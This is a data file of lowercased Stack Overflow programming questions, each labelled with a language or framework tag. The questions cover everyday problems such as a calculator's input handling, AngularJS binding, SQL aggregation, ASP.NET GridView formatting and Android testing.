objective-c calculator program by using commandlinetool  hi guys i ve created a main.m file a calculator.h and calculator.m file    before writing down my code my problem is that the program doesn t ask for the operator it only asks for 1st and 2nd number.    here are my codes for the main.m   <pre><code>int num1 num2;     char op;      calculator *mycalculator=[[calculator alloc]init];      nslog(@ please enter the first number );     scanf( %i  &amp;num1);      nslog(@ please choose a mathematical operation  +    -    *    /  : );     scanf( %c  &amp;op);      nslog(@ please enter the second number );     scanf( %i  &amp;num2);        switch (op) {         case  + :              nslog(@ the result is : %i  [mycalculator add:num1 :num2]);             break;          case  - :              nslog(@ the result is : %i  [mycalculator sub:num1 :num2]);             break;           case  * :             nslog(@ the result is : %i  [mycalculator mul:num1 :num2]);             break;          case  / :             nslog(@ the result is : %i  [mycalculator div:num1 :num2]);             break;          default:             nslog(@ unknown operator );             break;     } </code></pre>   and my codes for the implementation are as follows:   <pre><code>-(int) add:(int)num1 :(int)num2 {     return num1+num2; }  -(int) sub:(int)num1 :(int)num2 {     return num1-num2; }  -(int) mul:(int)num1 :(int)num2 {     return num1*num2; }  -(int) div:(int)num1 :(int)num2 {     return num1/num2; } </code></pre>   any help will be appreciated thanks in advance !,objective-c
"using ng-model on two inputs  same value  i d like to use ng-model on input that receive a value of an other input ...    my code doesn t work and i don t understand why  is that possible to set ng-model to an input with angular values     my code    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var bottomapp = angular.module( bottomapp   []);
 
 bottomapp.controller( seoarticle   [ $scope   function($scope) {
   $scope.seotitle = document.getelementbyid( title ).value;
   $scope.createseourl = function(string){
     var string;
     string = string.replace(/ +/g    );
     string = string.replace(/ +/g    );
     return string.replace(/\s+/g   - );
   };
 }]);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div ng-controller= seoarticle &gt;
 &lt;input type= text  id= title  name= article[title]  class= form-control  placeholder= title  ng-model= seotitle &gt;
 
 &lt;input type= text  name= article[seo_title]  value= {{seotitle2}} &gt;
 &lt;input type= text  name= article[seo_url]  value= {{seourl2}} &gt;
 
 &lt;div class= ui-block-title &gt;&lt;h5&gt;{{seotitle}}&lt;/h5&gt;&lt;/div&gt;
 
 &lt;input type= text  id= title  class= form-control  placeholder= title  value= {{seotitle}}  ng-model= seotitle2 &gt;
 &lt;input type= text  id= seo_url  class= form-control  placeholder= seo_url  value= {{createseourl(seotitle)}}  ng-model= seourl2 &gt;
 
 &lt;div class= panel &gt;
   &lt;div class= seo-overview &gt;
     &lt;p class= seo-overview-title &gt;{{seotitle}}&lt;/p&gt;
     &lt;p class= seo-overview-url &gt;{{createseourl(seotitle)}}&lt;/p&gt;
   &lt;/div&gt;
 &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     :",angularjs
webbrowser control on windows 10 (>= 1609) and http/2  i am wondering if there is any setting to have the <strong>webbrowser control</strong> (embedded ie 11) use <strong>http/2</strong> on <strong>windows 10</strong>.     i have set the value for my process within <code>feature_browser_emulation</code> to <code>11001</code>. external ie is using http 2.0 but any requests from the webbrowser control always uses http 1.1.    i am making https calls against an internal windows 2016 server running iis and i am able to determine the request protocol via the iis server logs for a test app using the  <strong>webbrowser control</strong>.,.net
talk on asp.net  a friend of mine s company is considering using either java or asp.net for web development. currently they do all development in delphi. as they have no experience in .net they have asked me to come down and give a 1 hour overview of .net (mainly asp.net). what topics should i cover,asp.net
give an unique 6 or 9 digit number to each row  is it possible to assign an unique 6 or 9 digit number to each new row only with mysql.    <strong>example :</strong>   <pre><code>id1 : 928524 id2 : 124952 id3 : 485920 ... ... </code></pre>   p.s : i can do that with php s <code>rand()</code> function  but i want a better way.,mysql
append a div to content returned in jquery post function  i hope someone can help solve the issue i m having as follows.    i make a call to a php file using jquery post() and the returned result is html  i now wish to append a div to the bottom of a container on the page. heres some code    js   <pre><code>   var serializeddata = $( #joblisting ).serialize();         var posting = jquery.post( / action=jobs-status-changes   serializeddata);         posting.done(function(data){             jquery(data).find( #content1 ).append( &lt;div&gt;please close this window to reload the page.&lt;/div&gt; );             //alert(data);             jquery.colorbox({                 html:   data +  &lt;script&gt;jquery(document).ready(function ($) {jquery( .menu-top ).hide()});&lt;/script&gt;                   width:  40%                   maxheight:  66%                   scrolling:  true                   transition:  fade                   onclosed: function(){                     location.reload(true);                 }             });         }); </code></pre>   i read somewhere that the html returned from jquery post is an object and can be used as above    <code>(jquery(data).find( #content1 ).append( &lt;div&gt;please close this window to reload the page.&lt;/div&gt; );)</code>    am i missing something here  i realise i could parse the string but would like a jquery solution if possible.    thanks,jquery
what is @private  and what its use   i see in one of my project @private here is code..   <pre><code>@interface mapview : uiviewcontroller&lt;cllocationmanagerdelegate  mkmapviewdelegate uitextfielddelegate&gt; {  @private   cllocationmanager *_locationmanager;   mkreversegeocoder *_reversegeocoder;   mkmapview* _mapview; } </code></pre>   what is use of this      i know may be this is tomuch low level question ... i want to know use of @private here .,objective-c
using android:largeheap=“true”   is a benefit or loss for an application that doesn t need it  i am not in favor of using <code>android:largeheap=“true”</code>  but i would like to know how much heap size boost can i expect from using the above property in manifest. will it give me infinite memory as much as my app requires or is has some limit too   my device is moto x play  it has 192mb allocated memory. its sufficient for my apps  but still am curious about knowing how much more heap size will <code>largeheap</code> will give me      if my app only uses 100mb and i have used the <code>largeheap= true </code> will that have any disadvantages on the performance of my app. will it effect other apps in my device  since am using only 100mb  will it still effect them.     does using <code>largeheap</code> has any effects on the performance on my app  if yes  will the performance be better without it or with it,android
jquery autocomplete with template  i m looking for a library that allows me to template the drop down list of an autocomplete box. i ll return data in json.,jquery
how to write this query have 4 quarters and value is negative  table_a    <kbd>symbol</kbd><kbd>quarter&nbsp;&nbsp;</kbd><kbd>value&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br>  <kbd>s1&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd> <br> <kbd>s1&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd> <br> <kbd>s1&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd> <br> <kbd>s1&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd>  <br> <kbd>s2&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd>   <br> <kbd>s2&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd>   <br> <kbd>s3&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd>  <br> <kbd>s3&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd>  <br> <kbd>s3&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br>   <kbd>s3&nbsp;&nbsp;&nbsp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><kbd>q2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp&nbsp;</kbd><kbd>-1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</kbd><br>     from table_a  i want to get the symbols where quarter has q1 and q2 and q3 and q4 value negative.    so the result should be s1 and s3.   <pre><code>select symbol  from table_a  where quarter= a  and        quarter= b  and        quarter= c  and        quarter= d  and value&lt;0  group by symbol </code></pre>,mysql
jquery animation affects sibling input elements when using a variable   i have a simple jquery sliding input snippet which animates the width of an input element when it is focused to make it wider:   <pre><code>$(document).ready(function() {   $( input:not([type= checkbox ]  .button  .noanimate) ).focus(function() {     var elemwidth = $(this).width();     $(this).animate({         width: elemwidth + 50      }  300);   });   $( input:not([type= checkbox ]  .button  .noanimate) ).focusout(function() {     var elemwidth = $(this).width();     $(this).animate({         width: elemwidth - 50      }  300);   }); }); </code></pre>   up until recently  i was not using a variable <code>elemwidth</code> - rather i hardcoded the standard width of an input in at 200px. however i now have some inputs which need to be 400px wide  so instead of tacking on additional code for each different size element  i simply grab the width element being focused and add my 50px to it.    it does actually work  however  i have discovered that on large forms  when i tab across fields fast enough so 2-3 can be animating simultaneously  the elements before the active one can shrink further than their original width  down to 150px.     i believe i know why this is happening (the variable <code>elemwidth</code> is changing as i tab across inputs)  but i have no idea how to prevent it. ideas,jquery
dynamic background height when using float elements  <a href= http://jsfiddle.net/nucxq/  rel= nofollow >http://jsfiddle.net/nucxq/</a>    how to get dynamic height on the main (black background) i m using image so i can t use repeat-y- additionally the height has to be 0px if main doesn t have any list elements    has to work in ie8,css
how do i turn the status bar off   new view based project in xcode go to main.xib and view.xib respectively in each case set status bar to none in attributes section for view    not sure why it still shows both on simulator and on platform     have looked for something in code  but don t see what else is calling this     anybody know how to turn the status bar off     thanks // :),iphone
replace every nth character with  -  in java without regex  i am trying to replace every nth character in a string with some special character for e.g  <code>-</code>  so based on value of input (<code>int n</code> and <code>string str</code>)  i want to replace all chars at <code>n</code> ( like <code>2</code>  <code>4</code>  <code>6</code>) by this special characters so the length of string is maintained and this is what i have so far but it is not yielding correct output.    <pre><code>public string everynth(string str  int n) {       string result=  ;       for(int i=0; i&lt;str.length(); i+=n){             result +=     + str.charat(i);         }        return result; } </code></pre>,java
c# asp.net: formatting a gridview row based on content  greetings gurus. i have a gridview who s rows i need to higlight if the  status  field is null. the code below throws an exception. i m getting a  non-invocable member  system.web.ui.webcontrols.gridviewrow.dataitem  cannot be used like a method . i think i m really close but i don t know where to turn next.   <pre><code>protected void gridview_rowdatabound(object sender  gridviewroweventargs e) {      if (e.row.rowtype == datacontrolrowtype.datarow &amp;&amp;       e.row.dataitem( status ) == null)     {            // e.row.backcolor = drawing.color.red;     } } </code></pre>,asp.net
two column layout - max width for containers  i have a two column layout: <a href= http://jsfiddle.net/kqq42/1/  rel= nofollow >http://jsfiddle.net/kqq42/1/</a>    now i would like that the left and right column both share the maximum width so that there is now space between the page_wrapper and the columns.    when i just add one percent to the width they aren t side by side anymore.    so what is the trick,css
creating dynamic datalist controls with id s based on bound data  as a workaround for the fact that asp:checkboxes don t have values  i am attempting to dynamically create the id s of checkboxes in a datalist so that it inserts the primary keys into the control id.  this is surprisingly difficult.    i have placed a placeholder in my datalist itemtemplate  then in the itemcreated i create the checkboxes using <code>string.format( checkbox{0}   databinder(e.item.dataitem   id ))</code>.  the problem is that this only works in a non-postback condition  as on postback the dataitem is null.  and of course itemdatabound isn t called on postback so that won t work either.      i can t seem to find a good way to handle this short of <code>if (ispostback) datalist.bind()</code>  which i don t think is a good way to do it.    can anyone provide me with any alternatives here     edit:    some additional information.  i just realized that part of the problem was because i actually have a datalist within a datalist.  the reason dataitem is null is because there is no databinding on postback  and the child data is not saved to viewstate.      basically  what i m doing is <a href= https://stackoverflow.com/questions/3078801/how-to-create-category-and-list-in-one-query-with-linq >this</a>  although it s using a datalist rather than repeater.  so  on postback  the children collection doesn t get set because itemdatabound isn t called on postback.    edit2: to clarify  the problem is largely because of the nested datalists.  i have to set the datasource of the nested datalist to a collection field of the first datalist s individual rows fields.  on postback  there is no databinding  so it doesn t work.,asp.net
java - computing file size from url  i have a lot of urls. i want to calculate the total files size of all those urls. i don t want to download it just calculate the size. i used the following approach it s working  but it will take long time. please can anyone suggest me the best approach than this..    computing the file size.   <pre><code>int getfilesize(url url) {          httpurlconnection conn = null;         try {             conn = (httpurlconnection) url.openconnection();             conn.setrequestmethod( head );             conn.getinputstream();             return conn.getcontentlength();         } catch (ioexception e) {             return -1;         } finally {             conn.disconnect();         }     } </code></pre>,java
sql query with muliple tables and results  i have multiple tables that i need to link together. i used joins but i get duplicated results.    <pre><code>table1.id1 table1.id2 (multiple values) table2.cost linked to table1.id2 (multiple values) table3.qty linked to table1.id2 (multiple values) table4.addcost linked to table1.id2 (multiple values) where table1.id1 =  unique1  </code></pre>   what i have is:   <pre><code>select      table1.id1  table1.id2       sum(table2.cost)  sum(table3.qty)  sum(table4.addcost) from      table1 inner join      table2 on table2.id2 = table1.id2 inner join      table3 on table3.id2 = table2.id2 inner join      table4 on table4.id2 = table2.id2 where      table1.id1 =  unique1  group by      table1.id1  table1.id2 order by      table1.id2 </code></pre>   the problem is  <code>table1.id2</code> has multiple values matching <code>table1.id1</code>. table2 3  and 4 are transaction tables and i want to sum each transaction that matches <code>table1.id2</code>.     i was thinking of using a for each loop  but i hear loops shouldn t be used in sql.    the end result i m looking for is this:   <pre><code> table1.id2  a  | sum table2 | sum table3 | sum table4 (where table2 3 4 = table1.id2  a ; and where table1.id1 =  unique1 )  table1.id2  b  | sum table2 | sum table3 | sum table4 (where table2 3 4 = table1.id2  b ; and where table1.id1 =  unique1 )  table1.id2  c  | sum table2 | sum table3 | sum table4 (where table2 3 4 = table1.id2  c ; and where table1.id1 =  unique1 ) </code></pre>   any thoughts     thanks     kevin,sql
undefined local variable or method `task_params   task_params isn t recognised and i m not sure why. i ve gone over it many times and still can t work it out. the part of the code throwing up the error is right at the bottom  although i ve used task_params in create. i m new to this so hopefully i m not missing something too obvious! i m using ruby on rails. thanks. realised i made a really stupid mistake. i was following a tutorial that used the model task. so i shouldn t actually be using task params but the model im using!   <pre><code>class modulelistscontroller &lt; applicationcontroller before_action :set_module_list  only: [:show  :edit  :update  :destroy] before_action :set_student  only: [:new  :create]  # get /module_lists # get /module_lists.json def index @module_lists = modulelist.all end  # get /module_lists/1 # get /module_lists/1.json def show end  # get /module_lists/new def new   @module_list = @student.module_lists.new end  # get /module_lists/1/edit def edit end  # post /module_lists # post /module_lists.json def create   @module_list = @student.module_lists.new(task_params)    respond_to do |format|     if @module_list.save       format.html { redirect_to @module_list  notice:  module successfully      created.  }       format.json { render :show  status: :created  location: @module_list }     else       format.html { render :new }       format.json { render json: @module_list.errors  status:   :unprocessable_entity }     end   end end  # patch/put /module_lists/1 # patch/put /module_lists/1.json def update   respond_to do |format|     if @module_list.update(module_list_params)       format.html { redirect_to @module_list  notice:  module list was   successfully updated.  }       format.json { render :show  status: :ok  location: @module_list }     else       format.html { render :edit }       format.json { render json: @module_list.errors  status: :unprocessable_entity }     end   end end  # delete /module_lists/1 # delete /module_lists/1.json def destroy   @module_list.destroy   respond_to do |format|     format.html { redirect_to module_lists_url  notice:  module list was   successfully destroyed.  }     format.json { head :no_content }   end end  private   # use callbacks to share common setup or constraints between actions.   def set_module_list     @module_list = modulelist.find(params[:id])   end    def module_list_params     params.require(:module_list).permit(:student_id  :title  :description    :credit_value)   end    def set_student     @student = student.find_by(id: params[:student_id]) ||     student.find(task_params[:student_id])   end end </code></pre>,ruby-on-rails
make hit enter key same as onclick= function()  <pre><code>**page &lt;input type= text  id= page#  value={{page_id}} style= width:50px; display:inline-block  &gt; out of {{total}} &lt;input type= button  class= btn btn-outline-success  onclick= getdirection()  value= go  style= display:inline &gt; &lt;script&gt;    function getdirection(){    var input = document.getelementbyid( page# ).value;    var new_id = http://159.203.172.178/page/{{current_page.id_tei}}  ;    new_id = new_id.slice(0 -3);    new_id = new_id+input;    console.log(new_id);    window.location=new_id;    } </code></pre>   ** hello  i am new to javascript. i am trying to make my django application take input from users and turn to the page based on their input. right now  it works when i click on the button  go . is there a way i can make it work when i hit enter key as well  i tried to use eventlistener  but it tells me evetlistener is not a function. great thanks.,javascript
jquery selector for bigger or smaller than  i have elements that i want to choose from  <br> and i want to choose only the elements that have margin-left <br> smaller than 100 pixels but bigger than 0.    is that possible in jquery,jquery
how to access values of footer textboxes on button click event(button is outside the gridview)  how to access values of footer textboxes on button click event(button is outside the gridview)...footer text boxes are generated dynamically in dynamic gridview...... footer text boxes may be very depending on column in table<img src= https://i.stack.imgur.com/acsb6.png  alt= enter image description here >,asp.net
android - pixels to dips  i have an image of a face (250px x 250px) that is in an absolute layout element. i currently get the user s touch coordinates and using some maths calculate what has been touched (eg the nose)  then do something accordingly.    my question is how to scale this to fit the screen width available. if i set the image (in the xml) to fill_parent  the coordinates are way out. can this be remedied by converting the touch coordinates to dips (if so  how)  or will i need to get the screen width (again convert into dips) and sort out the coordinate problem using more maths     any and all help appreciated.,android
how to hide a div which is in master page using asp.net   iam tried to hide a div which is placed in master page but i got an error like this  object reference not set to an instance of an object .    my codes   <pre><code>&lt;div runat= server  id= cnms &gt;  &lt;a href= cinemas.aspx &gt;cinemas&lt;/a&gt; &lt;/div&gt;  public partial class default : system.web.ui.page  {    protected void page_load(object sender  eventargs e)      {         adminmaster admns = new adminmaster();//this si my admin page         admns.findcontrol( cnms ).visible = false;//i got error here      }  } </code></pre>   what went wrong for me any solution,asp.net
how to open an application through c++   i d like to open a pdf file through my c++ application. so i want to open a pdf program and pass the filename to it as the parameter. how can i do this      on windows  it s a console application.,c++
datepicker prototype not working  i have installed <a href= http://code.google.com/p/calendardateselect/  rel= nofollow >http://code.google.com/p/calendardateselect/</a> datepicker using gem install calendar_date_select    installation was success. but beeing a newbey  i dont know how to use it. i gave in my view file  &lt;%= calendar_date_select_tag  e_date  %>     but it throws the error undefined method `calendar_date_select_tag  for #&lt;#:0x2cc8998>    any help is appreciated,ruby-on-rails
question on a c# homework problem  please  question is: write a program that reads data into an array of type int.  valid inputs are from 0 to 10.  your program should determine how many values were inputted.  output a list of distinct entries and a count of how many times that entry occurred.    i have so far:   <pre><code>using system;   using system.collections; namespace consoleapplication25 { class program {    static void main()     {         arraylist list = new arraylist();         string invalue;          console.writeline( please enter a value from 0-10 );         console.writeline( to end the program  type 11 );         for (int i = 0; i &lt; 11; i++)         {             console.write( enter value:   i);             invalue = console.readline();             i = int.parse(invalue);             list.add(i);             list.remove(11);             list.sort();         }         int[] c = list.toarray(typeof(int)) as int[];          foreach (int value in c)         {             console.writeline(value);         }         console.writeline( there are {0} values.   list.count);          }     } } </code></pre>   where i m stuck at is displaying a count of each value.  i have tried setting up an if with a counter  and setting up cases with breaks and have been unsuccessful.  we haven t started using linq yet.  any suggestions or hints would be greatly appreciated.    thanks     jason,c#
select only one checkbox for a given row in mulitple selection - jquery  in the below gridview i have two checkboxs  1) approve and 2) reject <br> <strong>my question is:</strong> how can i restrict the user to select only one checkbox for a given row which is approve or reject  not both.   <pre><code>  &lt;asp:gridview id= routeplangridview  runat= server  autogeneratecolumns= false  &gt;                     &lt;columns&gt;                        &lt;headertemplate&gt;[select all]&lt;br /&gt;                 &lt;asp:checkbox id= chkapproveall  runat= server  onclick= selectall(this   .selectapprove );   /&gt;             &lt;/headertemplate&gt;              &lt;asp:templatefield headertext= approve &gt;                 &lt;itemtemplate&gt;                      &lt;div class= selectreason &gt;                         &lt;asp:checkbox cssclass= selectme  id= chkapprove  runat= server  checked= false &gt;                         &lt;/asp:checkbox&gt;                      &lt;/div&gt;                 &lt;/itemtemplate&gt;              &lt;/asp:templatefield&gt;             &lt;asp:templatefield headertext= reject &gt;  &lt;headertemplate&gt;[select all]&lt;br /&gt;                 &lt;asp:checkbox id= chkrejectall  runat= server  onclick= selectall(this   .selectreject );   /&gt;             &lt;/headertemplate&gt;                  &lt;itemtemplate&gt;                      &lt;div class= selectreason &gt;                         &lt;asp:checkbox cssclass= selectme  id= chkreject  runat= server  checked= false &gt;                         &lt;/asp:checkbox&gt;                      &lt;/div&gt;                 &lt;/itemtemplate&gt;              &lt;/asp:templatefield&gt;             &lt;/columns&gt;         &lt;/asp:gridview&gt; </code></pre>,asp.net
how to add checkbox inside in dropdownlist in asp.net c#  how to add checkbox inside in dropdownlist in asp.net c#    i do not want to add third party control  javascript  jquery and i want to make it own myself. 95% developer have not gotted how to resolve please guide me how to reslove this method.,asp.net
partial specialization question  i need a fresh pair of eyes.    this is obviously illegal  but it shows what i m trying to do:   <pre><code>template &lt;typename t  t&gt; struct foo { };  template &lt;typename t&gt; struct foo &lt;t  0&gt; //obviously i can t do this. { }; </code></pre>   is there any way to wrap t or do something tricky so that this sort of thing can work     thanks!,c++
relating the column data  i have a table like:   <pre><code>column1 ||  column2 || column3 ------------------------  a   ||  01  ||  test1  a   ||  02  ||  test2  a   ||  03  ||  test3  b   ||  04  ||  test4  c   ||  05  ||  test5  c   ||  06  ||  test6 </code></pre>   note: column2 is primary key    and the desired output table is like:   <pre><code>related ||  column1 ||  column2 ||  column3 -------------------------------  **  ||  a   ||  01  ||  test1  **  ||  a   ||  02  ||  test2  **  ||  a   ||  03  ||  test3      ||  b   ||  04  ||  test4  **  ||  c   ||  05  ||  test5  **  ||  c   ||  06  ||  test6 </code></pre>   here i am trying to show all the related data of column1 with  **  by creating a new column. i have tried using the query as:   <pre><code>select kh.column4  case when count(c.column1) &gt; 1 then  *  else    end as related  from &lt;tablename&gt; with(nolock)  join &lt;tablename2&gt; kh with(nolock) on (kh.column4 = c.column1) group by column4 </code></pre>   but not getting the desired output. is there any other way,sql
implement filter using static variable - novice  i have an html textbox where a user types some text and then the entries matching the text are retrieved from the database. i store this filter string value in a static string variable because i need to use its value somewhere in the program.    the question is: will all users currently logged in end up with the same filter result and overwrite their own filters every time they do a change.,asp.net
how to make anchor link so it goes to div of external html page  how i can give <code>anchor link</code> for a <code>div</code> of external file. for example i am in home page  now i want to go to div with id name <code> electronics </code> in <code>products.html</code> page.     i have tried with doing some thing like   <pre><code>  &lt;a href= products.html#electronics  /&gt; </code></pre>   but it is not working properly. if some one know alternative way please let me know.    thanks in advance.,html
built-in class to serialize/deserialize a set of flags  i need to store an array of flags in a string.  i was looking at using bitarray  but noticed that there is no built-in method to write to/read from a char[] or int[] or something.  i can write this code easily enough  but i d prefer to use a built-in method if there is one out there.    so are there built-in .net methods that handle this,.net
qsort function - trying to use a comparator  i made a qsort function for a larger program. it is to sort by time. i have a class schedule i am working with and found a need to compare time with am and pm. ie if a is chosen then all the classes in the morning  if p is chosen all the classes in the afternoon. my question is this  is there a way to use this sort function with a greater than or less than comparator  if so can someone show me how if it is not to much trouble    <pre><code>int sortfunction(const void *p  const void *q) {     return ((sched_record *) p)-&gt;start.hour -                    ((sched_record *) q)-&gt;start.hour; } </code></pre>,c
php convert array element to string prints  array   i query a database to obtain an array of results.   <pre><code>$usersarray = $db-&gt;getallusers();  // db-query </code></pre>   if i print out the array s var_dump  its content is structured in form of other arrays:   <pre><code>array(9) { [0]=&gt; **array**(1) { [ column ]=&gt; string(20)  ...  } [1]=&gt; **array**(1) { [ column ] (remaining 8 are the same). </code></pre>   now i need these values (which are correct  so far) to be casted as strings  so that:   <pre><code>array(9) { [0]=&gt; **string**(1) { [ column ]=&gt; string(20)  ...  } [1]=&gt; **string**(1) { [ column ] .... </code></pre>   there are several answers to this here and elsewhere  such as     -array_map: here i can actually cast the content as string  but- it prints  array  instead the value. it tried then getting the content via    <pre><code>$users = array_map( strval  implode( $usersarray)); $users = array_map( strval   print_r($usersarray)); </code></pre>   neither of those worked.    is there a method through which i could cast the content as string <strong>and</strong> get the content   or should i rewrite the query to format the result as strings,php
supernotcalledexception running unit test  i am trying to run this android unit test  following this tutorial ::    <a href= http://developer.android.com/resources/tutorials/testing/helloandroid_test.html  rel= nofollow >http://developer.android.com/resources/tutorials/testing/helloandroid_test.html</a>    and in doing so get a <strong>supernotcalledexception</strong>     <strong>here s the test class code ::</strong>   <pre><code>package com.example.helloandroid2.test;  import android.test.activityinstrumentationtestcase2; import android.widget.textview;  import com.example.helloandroid2.helloandroid2activity;  public class helloandroid2test extends activityinstrumentationtestcase2&lt;helloandroid2activity&gt; {     private helloandroid2activity mactivity;     private textview mview;     private string resourcestring;      public helloandroid2test()     {         super( com.example.helloandroid2   helloandroid2activity.class);     }      @override     protected void setup() throws exception     {         super.setup();         mactivity = this.getactivity();         mview = (textview) mactivity.findviewbyid(com.example.helloandroid2.r.id.textview);         resourcestring = mactivity.getstring(com.example.helloandroid2.r.string.hello);     }      public void testpreconditions()     {           assertnotnull(mview);     }      public void testtext()     {           assertequals(resourcestring (string)mview.gettext());     } } </code></pre>   <strong>the class i m actually testing ::</strong>   <pre><code>package com.example.helloandroid2;  import android.app.activity; import android.os.bundle; import android.widget.textview;  public class helloandroid2activity extends activity {     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         setcontentview(r.layout.main);      } } </code></pre>   <strong>i ve set the project api levels at 2_3_1 and am using an avd set at the same. am running eclipse with adt on windows vista.</strong>    all wisdom greatfully recieved. thanks in advance.     chris,android
equals method in c#  i m writing a part of code snippet where in i need to check for equality of two strings. but in my case below the control always hits the else part even if the two strings are equal.     below is my code:   <pre><code>protected void page_load(object sender  eventargs e) {     getlogindata data = new getlogindata();     logindataset login = new logindataset();      string email =  abc@gmail.com ;     string password =  asdfghjkl ;      login = data.getlogindata(email  password);    /* login is a logindataset object reference which holds email and password     data retreived from db.*/     string email1 = login.email.tostring();    string password1 = login.password.tostring();     if (email.equals(email1) &amp;&amp; password.equals(password1))    {       //does not execute at all        label1.text =  true ;    }    else        label1.text =  false ; } </code></pre>   and my logindataset class is as below:   <pre><code>public class logindataset {     public virtual string email     {   set;  get;}  public virtual string password {    set;  get; } </code></pre>   }    please let me know what is the mistake. as far as i know string class already has overridden the equals method so we can directly use it.  help is appreciated. thanks in advance,asp.net
difference between :input and input in jquery  on some tutorials  i ve seen these selectors:   <pre><code>$( :input ); </code></pre>   or   <pre><code>$( input ); </code></pre>   note the  : .    are there any differences,jquery
collecting statistics for my android app  i know many analytics tools are available online to track app s performance. but i am referring to personalised statistics.     i have an android app which lets users download question papers and various other files in pdf format. i would like to know total number of files downloaded to date. what i think:   <ol> <li>host a file on my server with text  0 </li> <li>create 2 asynctasks and call one to get the value in file.</li> <li>store it in a variable as integer and increment it.</li> <li>call 2nd asynctask and overwrite existing file s values by now stored variable.</li> </ol>   i don t know if any easier way exists like firebase  if yes  please give some details.,android
stopping a loop in java <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/11732171/taking-average-of-user-input-number >taking average of user input number</a>    </blockquote>    <pre><code>for (int n1 = in.nextint(); n1 &gt;= 0; n1 = in.nextint())   {           int total = 0;           int count = 0;            while (n1 &gt;= 0)           {                   n1 = in.nextint();                   total = total + n1;                   count = count + 1;            }           out.println(total);           out.println(count);   }  </code></pre>   i want all the numbers that i enter to be added up  is this code correct  it only adds my last 2 inputs. i want the loop keep going until the user enters a negative number  then then loop stops and then it outputs my total and count.    <pre><code>scanner in = new scanner(system.in); printstream out = system.out; </code></pre>,java
